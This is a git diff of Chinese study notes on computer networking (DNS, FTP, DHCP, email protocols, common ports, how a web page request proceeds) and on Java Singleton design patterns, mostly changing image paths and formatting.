+在这种情况下，只是丢失个别报文段，而不是网络拥塞。因此执行快恢复，令 ssthresh = cwnd / 2 ，cwnd = ssthresh，注意到此时直接进入拥塞避免。
 
-慢开始和快恢复的快慢指的是 cwnd 的设定值，而不是 cwnd 的增长速率。慢开始 cwnd 设定为 1，而快恢复 cwnd 设定为 ssthresh。
+慢开始和快恢复的快慢指的是 cwnd 的设定值，而不是 cwnd 的增长速率。慢开始 cwnd 设定为 1，而快恢复 cwnd 设定为 ssthresh。
 
-<div align="center"> <img src="pics/f61b5419-c94a-4df1-8d4d-aed9ae8cc6d5.png" width="600"/> </div><br>
+<img src="index_files/f61b5419-c94a-4df1-8d4d-aed9ae8cc6d5.png" width="600"/>
 
-# 六、应用层
+# 六、应用层
 
-## 域名系统
+## 域名系统
 
-DNS 是一个分布式数据库，提供了主机名和 IP 地址之间相互转换的服务。这里的分布式数据库是指，每个站点只保留它自己的那部分数据。
+DNS 是一个分布式数据库，提供了主机名和 IP 地址之间相互转换的服务。这里的分布式数据库是指，每个站点只保留它自己的那部分数据。
 
 域名具有层次结构，从上到下依次为：根域名、顶级域名、二级域名。
 
-<div align="center"> <img src="pics/b54eeb16-0b0e-484c-be62-306f57c40d77.jpg"/> </div><br>
+![](index_files/b54eeb16-0b0e-484c-be62-306f57c40d77.jpg)
 
-DNS 可以使用 UDP 或者 TCP 进行传输，使用的端口号都为 53。大多数情况下 DNS 使用 UDP 进行传输，这就要求域名解析器和域名服务器都必须自己处理超时和重传来保证可靠性。在两种情况下会使用 TCP 进行传输：
+DNS 可以使用 UDP 或者 TCP 进行传输，使用的端口号都为 53。大多数情况下 DNS 使用 UDP 进行传输，这就要求域名解析器和域名服务器都必须自己处理超时和重传来保证可靠性。在两种情况下会使用 TCP 进行传输：
 
-- 如果返回的响应超过的 512 字节（UDP 最大只支持 512 字节的数据）。
-- 区域传送（区域传送是主域名服务器向辅助域名服务器传送变化的那部分数据）。
+- 如果返回的响应超过的 512 字节（UDP 最大只支持 512 字节的数据）。
+- 区域传送（区域传送是主域名服务器向辅助域名服务器传送变化的那部分数据）。
 
-## 文件传送协议
+## 文件传送协议
 
-FTP 使用 TCP 进行连接，它需要两个连接来传送一个文件：
+FTP 使用 TCP 进行连接，它需要两个连接来传送一个文件：
 
-- 控制连接：服务器打开端口号 21 等待客户端的连接，客户端主动建立连接后，使用这个连接将客户端的命令传送给服务器，并传回服务器的应答。
-- 数据连接：用来传送一个文件数据。
+- 控制连接：服务器打开端口号 21 等待客户端的连接，客户端主动建立连接后，使用这个连接将客户端的命令传送给服务器，并传回服务器的应答。
+- 数据连接：用来传送一个文件数据。
 
-根据数据连接是否是服务器端主动建立，FTP 有主动和被动两种模式：
+根据数据连接是否是服务器端主动建立，FTP 有主动和被动两种模式：
 
-- 主动模式：服务器端主动建立数据连接，其中服务器端的端口号为 20，客户端的端口号随机，但是必须大于 1024，因为 0\~1023 是熟知端口号。
+- 主动模式：服务器端主动建立数据连接，其中服务器端的端口号为 20，客户端的端口号随机，但是必须大于 1024，因为 0~1023 是熟知端口号。
 
-<div align="center"> <img src="pics/03f47940-3843-4b51-9e42-5dcaff44858b.jpg"/> </div><br>
+![](index_files/03f47940-3843-4b51-9e42-5dcaff44858b.jpg)
 
-- 被动模式：客户端主动建立数据连接，其中客户端的端口号由客户端自己指定，服务器端的端口号随机。
+- 被动模式：客户端主动建立数据连接，其中客户端的端口号由客户端自己指定，服务器端的端口号随机。
 
-<div align="center"> <img src="pics/be5c2c61-86d2-4dba-a289-b48ea23219de.jpg"/> </div><br>
+![](index_files/be5c2c61-86d2-4dba-a289-b48ea23219de.jpg)
 
 主动模式要求客户端开放端口号给服务器端，需要去配置客户端的防火墙。被动模式只需要服务器端开放端口号即可，无需客户端配置防火墙。但是被动模式会导致服务器端的安全性减弱，因为开放了过多的端口号。
 
-## 动态主机配置协议
+## 动态主机配置协议
 
-DHCP (Dynamic Host Configuration Protocol) 提供了即插即用的连网方式，用户不再需要去手动配置 IP 地址等信息。
+DHCP (Dynamic Host Configuration Protocol) 提供了即插即用的连网方式，用户不再需要去手动配置 IP 地址等信息。
 
-DHCP 配置的内容不仅是 IP 地址，还包括子网掩码、网关 IP 地址。
+DHCP 配置的内容不仅是 IP 地址，还包括子网掩码、网关 IP 地址。
 
-DHCP 工作过程如下：
+DHCP 工作过程如下：
 
-1. 客户端发送 Discover 报文，该报文的目的地址为 255.255.255.255:67，源地址为 0.0.0.0:68，被放入 UDP 中，该报文被广播到同一个子网的所有主机上。如果客户端和 DHCP 服务器不在同一个子网，就需要使用中继代理。
-2. DHCP 服务器收到 Discover 报文之后，发送 Offer 报文给客户端，该报文包含了客户端所需要的信息。因为客户端可能收到多个 DHCP 服务器提供的信息，因此客户端需要进行选择。
-3. 如果客户端选择了某个 DHCP 服务器提供的信息，那么就发送 Request 报文给该 DHCP 服务器。
-4. DHCP 服务器发送 Ack 报文，表示客户端此时可以使用提供给它的信息。
+1. 客户端发送 Discover 报文，该报文的目的地址为 255.255.255.255:67，源地址为 0.0.0.0:68，被放入 UDP 中，该报文被广播到同一个子网的所有主机上。如果客户端和 DHCP 服务器不在同一个子网，就需要使用中继代理。
+2. DHCP 服务器收到 Discover 报文之后，发送 Offer 报文给客户端，该报文包含了客户端所需要的信息。因为客户端可能收到多个 DHCP 服务器提供的信息，因此客户端需要进行选择。
+3. 如果客户端选择了某个 DHCP 服务器提供的信息，那么就发送 Request 报文给该 DHCP 服务器。
+4. DHCP 服务器发送 Ack 报文，表示客户端此时可以使用提供给它的信息。
 
-<div align="center"> <img src="pics/bf16c541-0717-473b-b75d-4115864f4fbf.jpg"/> </div><br>
+![](index_files/bf16c541-0717-473b-b75d-4115864f4fbf.jpg)
 
-## 远程登录协议
+## 远程登录协议
 
-TELNET 用于登录到远程主机上，并且远程主机上的输出也会返回。
+TELNET 用于登录到远程主机上，并且远程主机上的输出也会返回。
 
-TELNET 可以适应许多计算机和操作系统的差异，例如不同操作系统系统的换行符定义。
+TELNET 可以适应许多计算机和操作系统的差异，例如不同操作系统系统的换行符定义。
 
-## 电子邮件协议
+## 电子邮件协议
 
 一个电子邮件系统由三部分组成：用户代理、邮件服务器以及邮件协议。
 
-邮件协议包含发送协议和读取协议，发送协议常用 SMTP，读取协议常用 POP3 和 IMAP。
+邮件协议包含发送协议和读取协议，发送协议常用 SMTP，读取协议常用 POP3 和 IMAP。
 
-<div align="center"> <img src="pics/7b3efa99-d306-4982-8cfb-e7153c33aab4.png" width="700"/> </div><br>
+<img src="index_files/7b3efa99-d306-4982-8cfb-e7153c33aab4.png" width="700"/>
 
-### 1. SMTP
+### 1. SMTP
 
-SMTP 只能发送 ASCII 码，而互联网邮件扩充 MIME 可以发送二进制文件。MIME 并没有改动或者取代 SMTP，而是增加邮件主体的结构，定义了非 ASCII 码的编码规则。
+SMTP 只能发送 ASCII 码，而互联网邮件扩充 MIME 可以发送二进制文件。MIME 并没有改动或者取代 SMTP，而是增加邮件主体的结构，定义了非 ASCII 码的编码规则。
 
-<div align="center"> <img src="pics/ed5522bb-3a60-481c-8654-43e7195a48fe.png" width=""/> </div><br>
+<img src="index_files/ed5522bb-3a60-481c-8654-43e7195a48fe.png" width=""/>
 
-### 2. POP3
+### 2. POP3
 
-POP3 的特点是只要用户从服务器上读取了邮件，就把该邮件删除。
+POP3 的特点是只要用户从服务器上读取了邮件，就把该邮件删除。
 
-### 3. IMAP
+### 3. IMAP
 
-IMAP 协议中客户端和服务器上的邮件保持同步，如果不手动删除邮件，那么服务器上的邮件也不会被删除。IMAP 这种做法可以让用户随时随地去访问服务器上的邮件。
+IMAP 协议中客户端和服务器上的邮件保持同步，如果不手动删除邮件，那么服务器上的邮件也不会被删除。IMAP 这种做法可以让用户随时随地去访问服务器上的邮件。
 
-## 常用端口
+## 常用端口
 
-|应用| 应用层协议 | 端口号 | 传输层协议 | 备注 |
-| :---: | :--: | :--: | :--: | :--: |
-| 域名解析 | DNS | 53 | UDP/TCP | 长度超过 512 字节时使用 TCP |
-| 动态主机配置协议 | DHCP | 67/68 | UDP | |
-| 简单网络管理协议 | SNMP | 161/162 | UDP | |
-| 文件传送协议 | FTP | 20/21 | TCP | 控制连接 21，数据连接 20 |
-| 远程终端协议 | TELNET | 23 | TCP | |
-| 超文本传送协议 | HTTP | 80 | TCP | |
-| 简单邮件传送协议 | SMTP | 25 | TCP | |
-| 邮件读取协议 | POP3 | 110 | TCP | |
-| 网际报文存取协议 | IMAP | 143 | TCP | |
+|应用| 应用层协议 | 端口号 | 传输层协议 | 备注 |
+| :---: | :--: | :--: | :--: | :--: |
+| 域名解析 | DNS | 53 | UDP/TCP | 长度超过 512 字节时使用 TCP |
+| 动态主机配置协议 | DHCP | 67/68 | UDP | |
+| 简单网络管理协议 | SNMP | 161/162 | UDP | |
+| 文件传送协议 | FTP | 20/21 | TCP | 控制连接 21，数据连接 20 |
+| 远程终端协议 | TELNET | 23 | TCP | |
+| 超文本传送协议 | HTTP | 80 | TCP | |
+| 简单邮件传送协议 | SMTP | 25 | TCP | |
+| 邮件读取协议 | POP3 | 110 | TCP | |
+| 网际报文存取协议 | IMAP | 143 | TCP | |
 
-## Web 页面请求过程
+## Web 页面请求过程
 
-### 1. DHCP 配置主机信息
+### 1. DHCP 配置主机信息
 
-- 假设主机最开始没有 IP 地址以及其它信息，那么就需要先使用 DHCP 来获取。
+- 假设主机最开始没有 IP 地址以及其它信息，那么就需要先使用 DHCP 来获取。
 
-- 主机生成一个 DHCP 请求报文，并将这个报文放入具有目的端口 67 和源端口 68 的 UDP 报文段中。
+- 主机生成一个 DHCP 请求报文，并将这个报文放入具有目的端口 67 和源端口 68 的 UDP 报文段中。
 
-- 该报文段则被放入在一个具有广播 IP 目的地址(255.255.255.255) 和源 IP 地址（0.0.0.0）的 IP 数据报中。
+- 该报文段则被放入在一个具有广播 IP 目的地址(255.255.255.255) 和源 IP 地址（0.0.0.0）的 IP 数据报中。
 
-- 该数据报则被放置在 MAC 帧中，该帧具有目的地址 FF:FF:FF:FF:FF:FF，将广播到与交换机连接的所有设备。
+- 该数据报则被放置在 MAC 帧中，该帧具有目的地址 FF:FF:FF:FF:FF:FF，将广播到与交换机连接的所有设备。
 
-- 连接在交换机的 DHCP 服务器收到广播帧之后，不断地向上分解得到 IP 数据报、UDP 报文段、DHCP 请求报文，之后生成 DHCP ACK 报文，该报文包含以下信息：IP 地址、DNS 服务器的 IP 地址、默认网关路由器的 IP 地址和子网掩码。该报文被放入 UDP 报文段中，UDP 报文段有被放入 IP 数据报中，最后放入 MAC 帧中。
+- 连接在交换机的 DHCP 服务器收到广播帧之后，不断地向上分解得到 IP 数据报、UDP 报文段、DHCP 请求报文，之后生成 DHCP ACK 报文，该报文包含以下信息：IP 地址、DNS 服务器的 IP 地址、默认网关路由器的 IP 地址和子网掩码。该报文被放入 UDP 报文段中，UDP 报文段有被放入 IP 数据报中，最后放入 MAC 帧中。
 
-- 该帧的目的地址是请求主机的 MAC 地址，因为交换机具有自学习能力，之前主机发送了广播帧之后就记录了 MAC 地址到其转发接口的交换表项，因此现在交换机就可以直接知道应该向哪个接口发送该帧。
+- 该帧的目的地址是请求主机的 MAC 地址，因为交换机具有自学习能力，之前主机发送了广播帧之后就记录了 MAC 地址到其转发接口的交换表项，因此现在交换机就可以直接知道应该向哪个接口发送该帧。
 
-- 主机收到该帧后，不断分解得到 DHCP 报文。之后就配置它的 IP 地址、子网掩码和 DNS 服务器的 IP 地址，并在其 IP 转发表中安装默认网关。
+- 主机收到该帧后，不断分解得到 DHCP 报文。之后就配置它的 IP 地址、子网掩码和 DNS 服务器的 IP 地址，并在其 IP 转发表中安装默认网关。
 
-### 2. ARP 解析 MAC 地址
+### 2. ARP 解析 MAC 地址
 
-- 主机通过浏览器生成一个 TCP 套接字，套接字向 HTTP 服务器发送 HTTP 请求。为了生成该套接字，主机需要知道网站的域名对应的 IP 地址。
+- 主机通过浏览器生成一个 TCP 套接字，套接字向 HTTP 服务器发送 HTTP 请求。为了生成该套接字，主机需要知道网站的域名对应的 IP 地址。
 
-- 主机生成一个 DNS 查询报文，该报文具有 53 号端口，因为 DNS 服务器的端口号是 53。
+- 主机生成一个 DNS 查询报文，该报文具有 53 号端口，因为 DNS 服务器的端口号是 53。
 
-- 该 DNS 查询报文被放入目的地址为 DNS 服务器 IP 地址的 IP 数据报中。
+- 该 DNS 查询报文被放入目的地址为 DNS 服务器 IP 地址的 IP 数据报中。
 
-- 该 IP 数据报被放入一个以太网帧中，该帧将发送到网关路由器。
+- 该 IP 数据报被放入一个以太网帧中，该帧将发送到网关路由器。
 
-- DHCP 过程只知道网关路由器的 IP 地址，为了获取网关路由器的 MAC 地址，需要使用 ARP 协议。
+- DHCP 过程只知道网关路由器的 IP 地址，为了获取网关路由器的 MAC 地址，需要使用 ARP 协议。
 
-- 主机生成一个包含目的地址为网关路由器 IP 地址的 ARP 查询报文，将该 ARP 查询报文放入一个具有广播目的地址（FF:FF:FF:FF:FF:FF）的以太网帧中，并向交换机发送该以太网帧，交换机将该帧转发给所有的连接设备，包括网关路由器。
+- 主机生成一个包含目的地址为网关路由器 IP 地址的 ARP 查询报文，将该 ARP 查询报文放入一个具有广播目的地址（FF:FF:FF:FF:FF:FF）的以太网帧中，并向交换机发送该以太网帧，交换机将该帧转发给所有的连接设备，包括网关路由器。
 
-- 网关路由器接收到该帧后，不断向上分解得到 ARP 报文，发现其中的 IP 地址与其接口的 IP 地址匹配，因此就发送一个 ARP 回答报文，包含了它的 MAC 地址，发回给主机。
+- 网关路由器接收到该帧后，不断向上分解得到 ARP 报文，发现其中的 IP 地址与其接口的 IP 地址匹配，因此就发送一个 ARP 回答报文，包含了它的 MAC 地址，发回给主机。
 
-### 3. DNS 解析域名
+### 3. DNS 解析域名
 
-- 知道了网关路由器的 MAC 地址之后，就可以继续 DNS 的解析过程了。
+- 知道了网关路由器的 MAC 地址之后，就可以继续 DNS 的解析过程了。
 
-- 网关路由器接收到包含 DNS 查询报文的以太网帧后，抽取出 IP 数据报，并根据转发表决定该 IP 数据报应该转发的路由器。
+- 网关路由器接收到包含 DNS 查询报文的以太网帧后，抽取出 IP 数据报，并根据转发表决定该 IP 数据报应该转发的路由器。
 
-- 因为路由器具有内部网关协议（RIP、OSPF）和外部网关协议（BGP）这两种路由选择协议，因此路由表中已经配置了网关路由器到达 DNS 服务器的路由表项。
+- 因为路由器具有内部网关协议（RIP、OSPF）和外部网关协议（BGP）这两种路由选择协议，因此路由表中已经配置了网关路由器到达 DNS 服务器的路由表项。
 
-- 到达 DNS 服务器之后，DNS 服务器抽取出 DNS 查询报文，并在 DNS 数据库中查找待解析的域名。
+- 到达 DNS 服务器之后，DNS 服务器抽取出 DNS 查询报文，并在 DNS 数据库中查找待解析的域名。
 
-- 找到 DNS 记录之后，发送 DNS 回答报文，将该回答报文放入 UDP 报文段中，然后放入 IP 数据报中，通过路由器反向转发回网关路由器，并经过以太网交换机到达主机。
+- 找到 DNS 记录之后，发送 DNS 回答报文，将该回答报文放入 UDP 报文段中，然后放入 IP 数据报中，通过路由器反向转发回网关路由器，并经过以太网交换机到达主机。
 
-### 4. HTTP 请求页面
+### 4. HTTP 请求页面
 
-- 有了 HTTP 服务器的 IP 地址之后，主机就能够生成 TCP 套接字，该套接字将用于向 Web 服务器发送 HTTP GET 报文。
+- 有了 HTTP 服务器的 IP 地址之后，主机就能够生成 TCP 套接字，该套接字将用于向 Web 服务器发送 HTTP GET 报文。
 
-- 在生成 TCP 套接字之前，必须先与 HTTP 服务器进行三次握手来建立连接。生成一个具有目的端口 80 的 TCP SYN 报文段，并向 HTTP 服务器发送该报文段。
+- 在生成 TCP 套接字之前，必须先与 HTTP 服务器进行三次握手来建立连接。生成一个具有目的端口 80 的 TCP SYN 报文段，并向 HTTP 服务器发送该报文段。
 
-- HTTP 服务器收到该报文段之后，生成 TCP SYN ACK 报文段，发回给主机。
+- HTTP 服务器收到该报文段之后，生成 TCP SYN ACK 报文段，发回给主机。
 
-- 连接建立之后，浏览器生成 HTTP GET 报文，并交付给 HTTP 服务器。
+- 连接建立之后，浏览器生成 HTTP GET 报文，并交付给 HTTP 服务器。
 
-- HTTP 服务器从 TCP 套接字读取 HTTP GET 报文，生成一个 HTTP 响应报文，将 Web 页面内容放入报文主体中，发回给主机。
+- HTTP 服务器从 TCP 套接字读取 HTTP GET 报文，生成一个 HTTP 响应报文，将 Web 页面内容放入报文主体中，发回给主机。
 
-- 浏览器收到 HTTP 响应报文后，抽取出 Web 页面内容，之后进行渲染，显示 Web 页面。
+- 浏览器收到 HTTP 响应报文后，抽取出 Web 页面内容，之后进行渲染，显示 Web 页面。
 
 
-# 参考资料
+# 参考资料
 
-- 计算机网络, 谢希仁
-- JamesF.Kurose, KeithW.Ross, 库罗斯, 等. 计算机网络: 自顶向下方法 [M]. 机械工业出版社, 2014.
-- W.RichardStevens. TCP/IP 详解. 卷 1, 协议 [M]. 机械工业出版社, 2006.
-- [Active vs Passive FTP Mode: Which One is More Secure?](https://securitywing.com/active-vs-passive-ftp-mode/)
-- [Active and Passive FTP Transfers Defined - KB Article #1138](http://www.serv-u.com/kb/1138/active-and-passive-ftp-transfers-defined)
-- [Traceroute](https://zh.wikipedia.org/wiki/Traceroute)
-- [ping](https://zh.wikipedia.org/wiki/Ping)
-- [How DHCP works and DHCP Interview Questions and Answers](http://webcache.googleusercontent.com/search?q=cache:http://anandgiria.blogspot.com/2013/09/windows-dhcp-interview-questions-and.html)
-- [What is process of DORA in DHCP?](https://www.quora.com/What-is-process-of-DORA-in-DHCP)
-- [What is DHCP Server ?](https://tecadmin.net/what-is-dhcp-server/)
-- [Tackling emissions targets in Tokyo](http://www.climatechangenews.com/2011/html/university-tokyo.html)
-- [What does my ISP know when I use Tor?](http://www.climatechangenews.com/2011/html/university-tokyo.html)
-- [Technology-Computer Networking[1]-Computer Networks and the Internet](http://www.linyibin.cn/2017/02/12/technology-ComputerNetworking-Internet/)
-- [P2P 网络概述.](http://slidesplayer.com/slide/11616167/)
-- [Circuit Switching (a) Circuit switching. (b) Packet switching.](http://slideplayer.com/slide/5115386/)
+- 计算机网络, 谢希仁
+- JamesF.Kurose, KeithW.Ross, 库罗斯, 等. 计算机网络: 自顶向下方法 [M]. 机械工业出版社, 2014.
+- W.RichardStevens. TCP/IP 详解. 卷 1, 协议 [M]. 机械工业出版社, 2006.
+- [Active vs Passive FTP Mode: Which One is More Secure?](https://securitywing.com/active-vs-passive-ftp-mode/)
+- [Active and Passive FTP Transfers Defined - KB Article #1138](http://www.serv-u.com/kb/1138/active-and-passive-ftp-transfers-defined)
+- [Traceroute](https://zh.wikipedia.org/wiki/Traceroute)
+- [ping](https://zh.wikipedia.org/wiki/Ping)
+- [How DHCP works and DHCP Interview Questions and Answers](http://webcache.googleusercontent.com/search?q=cache:http://anandgiria.blogspot.com/2013/09/windows-dhcp-interview-questions-and.html)
+- [What is process of DORA in DHCP?](https://www.quora.com/What-is-process-of-DORA-in-DHCP)
+- [What is DHCP Server ?](https://tecadmin.net/what-is-dhcp-server/)
+- [Tackling emissions targets in Tokyo](http://www.climatechangenews.com/2011/html/university-tokyo.html)
+- [What does my ISP know when I use Tor?](http://www.climatechangenews.com/2011/html/university-tokyo.html)
+- [Technology-Computer Networking[1]-Computer Networks and the Internet](http://www.linyibin.cn/2017/02/12/technology-ComputerNetworking-Internet/)
+- [P2P 网络概述.](http://slidesplayer.com/slide/11616167/)
+- [Circuit Switching (a) Circuit switching. (b) Packet switching.](http://slideplayer.com/slide/5115386/)
+---bottom---CyC---
+![](index_files/network-of-networks.gif)
+![](index_files/46cec213-3048-4a80-aded-fdd577542801.jpg)
+![](index_files/168e893c-e4a0-4ba4-b81f-9d993483abd0.jpg)
+![](index_files/2ad244f5-939c-49fa-9385-69bc688677ab.jpg)
+![](index_files/f71125b7-f7cb-4a96-9bf0-902bce9487f0.jpg)
+![](index_files/7fa66f48-bc42-4b98-93c2-56b20feaa990.png)
+![](index_files/7048a730-a2d0-43d1-99ce-f774e4ef1b27.png)
+![](index_files/c34f4503-f62c-4043-9dc6-3e03288657df.jpg)
+![](index_files/9c60793f-5e7f-453b-8413-35890c24abc4.png)
+![](index_files/839207f5-52fd-4516-9370-956dcdf2c2b5.png)
+![](index_files/c4c14368-519c-4a0e-8331-0a553715e3e7.jpg)
+![](index_files/fa2273c3-1b5f-48ce-8e8b-441a4116c1c4.jpg)
+![](index_files/5999e5de-7c16-4b52-b3aa-6dc7b58c7894.png)
+![](index_files/21041ec2-babb-483f-bf47-8b8148eec162.png)
+![](index_files/92ad9bae-7d02-43ba-8115-a9d6f530ca28.png)
+![](index_files/5aa82b89-f266-44da-887d-18f31f01d8ef.png)
+![](index_files/ddcf2327-8d84-425d-8535-121a94bcb88d.jpg)
+![](index_files/69f16984-a66f-4288-82e4-79b4aa43e835.jpg)
+![](index_files/a6026bb4-3daf-439f-b1ec-a5a24e19d2fb.jpg)
+![](index_files/50d38e84-238f-4081-8876-14ef6d7938b5.jpg)
+![](index_files/c9cfcd20-c901-435f-9a07-3e46830c359f.jpg)
+![](index_files/a74b70ac-323a-4b31-b4d5-90569b8a944b.png)
+![](index_files/7b038838-c75b-4538-ae84-6299386704e5.jpg)
+![](index_files/0a9f4125-b6ab-4e94-a807-fd7070ae726a.png)
+![](index_files/85c05fb1-5546-4c50-9221-21f231cdc8c5.jpg)
+![](index_files/23ba890e-e11c-45e2-a20c-64d217f83430.png)
+![](index_files/cbf50eb8-22b4-4528-a2e7-d187143d57f7.png)
+![](index_files/66192382-558b-4b05-a35d-ac4a2b1a9811.jpg)
+![](index_files/b9d79a5a-e7af-499b-b989-f10483e71b8b.jpg)
+![](index_files/8006a450-6c2f-498c-a928-c927f758b1d0.png)
+![](index_files/e3124763-f75e-46c3-ba82-341e6c98d862.jpg)
+![](index_files/aa29cc88-7256-4399-8c7f-3cf4a6489559.png)
+![](index_files/1556770b-8c01-4681-af10-46f1df69202c.jpg)
+![](index_files/2719067e-b299-4639-9065-bed6729dbf0b.png)
+![](index_files/c3369072-c740-43b0-b276-202bd1d3960d.jpg)
+![](index_files/1ab49e39-012b-4383-8284-26570987e3c4.jpg)
+![](index_files/9cd0ae20-4fb5-4017-a000-f7d3a0eb3529.png)
+![](index_files/d4c3a4a1-0846-46ec-9cc3-eaddfca71254.jpg)
+![](index_files/55dc4e84-573d-4c13-a765-52ed1dd251f9.png)
+![](index_files/e92d0ebc-7d46-413b-aec1-34a39602f787.png)
+![](index_files/f87afe72-c2df-4c12-ac03-9b8d581a8af8.jpg)
+![](index_files/a3253deb-8d21-40a1-aae4-7d178e4aa319.jpg)
+![](index_files/51e2ed95-65b8-4ae9-8af3-65602d452a25.jpg)
+![](index_files/910f613f-514f-4534-87dd-9b4699d59d31.png)
+![](index_files/f61b5419-c94a-4df1-8d4d-aed9ae8cc6d5.png)
+![](index_files/b54eeb16-0b0e-484c-be62-306f57c40d77.jpg)
+![](index_files/03f47940-3843-4b51-9e42-5dcaff44858b.jpg)
+![](index_files/be5c2c61-86d2-4dba-a289-b48ea23219de.jpg)
+![](index_files/bf16c541-0717-473b-b75d-4115864f4fbf.jpg)
+![](index_files/7b3efa99-d306-4982-8cfb-e7153c33aab4.png)
+![](index_files/ed5522bb-3a60-481c-8654-43e7195a48fe.png)
diff --git a/docs/notes/设计模式.md b/docs/notes/设计模式.md
index a85dea0e..cd37529f 100644
--- a/docs/notes/设计模式.md
+++ b/docs/notes/设计模式.md
@@ -1,222 +1,187 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、概述](#一概述)
-* [二、创建型](#二创建型)
-    * [1. 单例（Singleton）](#1-单例singleton)
-    * [2. 简单工厂（Simple Factory）](#2-简单工厂simple-factory)
-    * [3. 工厂方法（Factory Method）](#3-工厂方法factory-method)
-    * [4. 抽象工厂（Abstract Factory）](#4-抽象工厂abstract-factory)
-    * [5. 生成器（Builder）](#5-生成器builder)
-    * [6. 原型模式（Prototype）](#6-原型模式prototype)
-* [三、行为型](#三行为型)
-    * [1. 责任链（Chain Of Responsibility）](#1-责任链chain-of-responsibility)
-    * [2. 命令（Command）](#2-命令command)
-    * [3. 解释器（Interpreter）](#3-解释器interpreter)
-    * [4. 迭代器（Iterator）](#4-迭代器iterator)
-    * [5. 中介者（Mediator）](#5-中介者mediator)
-    * [6. 备忘录（Memento）](#6-备忘录memento)
-    * [7. 观察者（Observer）](#7-观察者observer)
-    * [8. 状态（State）](#8-状态state)
-    * [9. 策略（Strategy）](#9-策略strategy)
-    * [10. 模板方法（Template Method）](#10-模板方法template-method)
-    * [11. 访问者（Visitor）](#11-访问者visitor)
-    * [12. 空对象（Null）](#12-空对象null)
-* [四、结构型](#四结构型)
-    * [1. 适配器（Adapter）](#1-适配器adapter)
-    * [2. 桥接（Bridge）](#2-桥接bridge)
-    * [3. 组合（Composite）](#3-组合composite)
-    * [4. 装饰（Decorator）](#4-装饰decorator)
-    * [5. 外观（Facade）](#5-外观facade)
-    * [6. 享元（Flyweight）](#6-享元flyweight)
-    * [7. 代理（Proxy）](#7-代理proxy)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
-
-
-# 一、概述
+# 一、概述
 
 设计模式是解决问题的方案，学习现有的设计模式可以做到经验复用。
 
 拥有设计模式词汇，在沟通时就能用更少的词汇来讨论，并且不需要了解底层细节。
 
-[源码以及 UML 图](https://github.com/CyC2018/Design-Pattern-Java)
+[源码以及 UML 图](https://github.com/CyC2018/Design-Pattern-Java)
 
-# 二、创建型
+# 二、创建型
 
-## 1. 单例（Singleton）
+## 1. 单例（Singleton）
 
-### Intent
+### Intent
 
 确保一个类只有一个实例，并提供该实例的全局访问点。
 
-### Class Diagram
+### Class Diagram
 
 使用一个私有构造函数、一个私有静态变量以及一个公有静态函数来实现。
 
 私有构造函数保证了不能通过构造函数来创建对象实例，只能通过公有静态函数返回唯一的私有静态变量。
 
-<div align="center"> <img src="pics/562f2844-d77c-40e0-887a-28a7128abd42.png"/> </div><br>
+![](index_files/562f2844-d77c-40e0-887a-28a7128abd42.png)
 
-### Implementation
+### Implementation
 
-#### Ⅰ 懒汉式-线程不安全
+#### Ⅰ 懒汉式-线程不安全
 
-以下实现中，私有静态变量 uniqueInstance 被延迟实例化，这样做的好处是，如果没有用到该类，那么就不会实例化 uniqueInstance，从而节约资源。
+以下实现中，私有静态变量 uniqueInstance 被延迟实例化，这样做的好处是，如果没有用到该类，那么就不会实例化 uniqueInstance，从而节约资源。
 
-这个实现在多线程环境下是不安全的，如果多个线程能够同时进入 `if (uniqueInstance == null)` ，并且此时 uniqueInstance 为 null，那么会有多个线程执行 `uniqueInstance = new Singleton();` 语句，这将导致实例化多次 uniqueInstance。
+这个实现在多线程环境下是不安全的，如果多个线程能够同时进入 `if (uniqueInstance == null)` ，并且此时 uniqueInstance 为 null，那么会有多个线程执行 `uniqueInstance = new Singleton();` 语句，这将导致实例化多次 uniqueInstance。
 
 ```java
-public class Singleton {
+public class Singleton {
 
-    private static Singleton uniqueInstance;
+    private static Singleton uniqueInstance;
 
-    private Singleton() {
-    }
+    private Singleton() {
+    }
 
-    public static Singleton getUniqueInstance() {
-        if (uniqueInstance == null) {
-            uniqueInstance = new Singleton();
-        }
-        return uniqueInstance;
-    }
+    public static Singleton getUniqueInstance() {
+        if (uniqueInstance == null) {
+            uniqueInstance = new Singleton();
+        }
+        return uniqueInstance;
+    }
 }
 ```
 
-#### Ⅱ 饿汉式-线程安全
+#### Ⅱ 饿汉式-线程安全
 
-线程不安全问题主要是由于 uniqueInstance 被实例化多次，采取直接实例化 uniqueInstance 的方式就不会产生线程不安全问题。
+线程不安全问题主要是由于 uniqueInstance 被实例化多次，采取直接实例化 uniqueInstance 的方式就不会产生线程不安全问题。
 
 但是直接实例化的方式也丢失了延迟实例化带来的节约资源的好处。
 
 ```java
-private static Singleton uniqueInstance = new Singleton();
+private static Singleton uniqueInstance = new Singleton();
 ```
 
-#### Ⅲ 懒汉式-线程安全
+#### Ⅲ 懒汉式-线程安全
 
-只需要对 getUniqueInstance() 方法加锁，那么在一个时间点只能有一个线程能够进入该方法，从而避免了实例化多次 uniqueInstance。
+只需要对 getUniqueInstance() 方法加锁，那么在一个时间点只能有一个线程能够进入该方法，从而避免了实例化多次 uniqueInstance。
 
-但是当一个线程进入该方法之后，其它试图进入该方法的线程都必须等待，即使 uniqueInstance 已经被实例化了。这会让线程阻塞时间过长，因此该方法有性能问题，不推荐使用。
+但是当一个线程进入该方法之后，其它试图进入该方法的线程都必须等待，即使 uniqueInstance 已经被实例化了。这会让线程阻塞时间过长，因此该方法有性能问题，不推荐使用。
 
 ```java
-public static synchronized Singleton getUniqueInstance() {
-    if (uniqueInstance == null) {
-        uniqueInstance = new Singleton();
-    }
-    return uniqueInstance;
+public static synchronized Singleton getUniqueInstance() {
+    if (uniqueInstance == null) {
+        uniqueInstance = new Singleton();
+    }
+    return uniqueInstance;
 }
 ```
 
-#### Ⅳ 双重校验锁-线程安全
+#### Ⅳ 双重校验锁-线程安全
 
-uniqueInstance 只需要被实例化一次，之后就可以直接使用了。加锁操作只需要对实例化那部分的代码进行，只有当 uniqueInstance 没有被实例化时，才需要进行加锁。
+uniqueInstance 只需要被实例化一次，之后就可以直接使用了。加锁操作只需要对实例化那部分的代码进行，只有当 uniqueInstance 没有被实例化时，才需要进行加锁。
 
-双重校验锁先判断 uniqueInstance 是否已经被实例化，如果没有被实例化，那么才对实例化语句进行加锁。
+双重校验锁先判断 uniqueInstance 是否已经被实例化，如果没有被实例化，那么才对实例化语句进行加锁。
 
 ```java
-public class Singleton {
+public class Singleton {
 
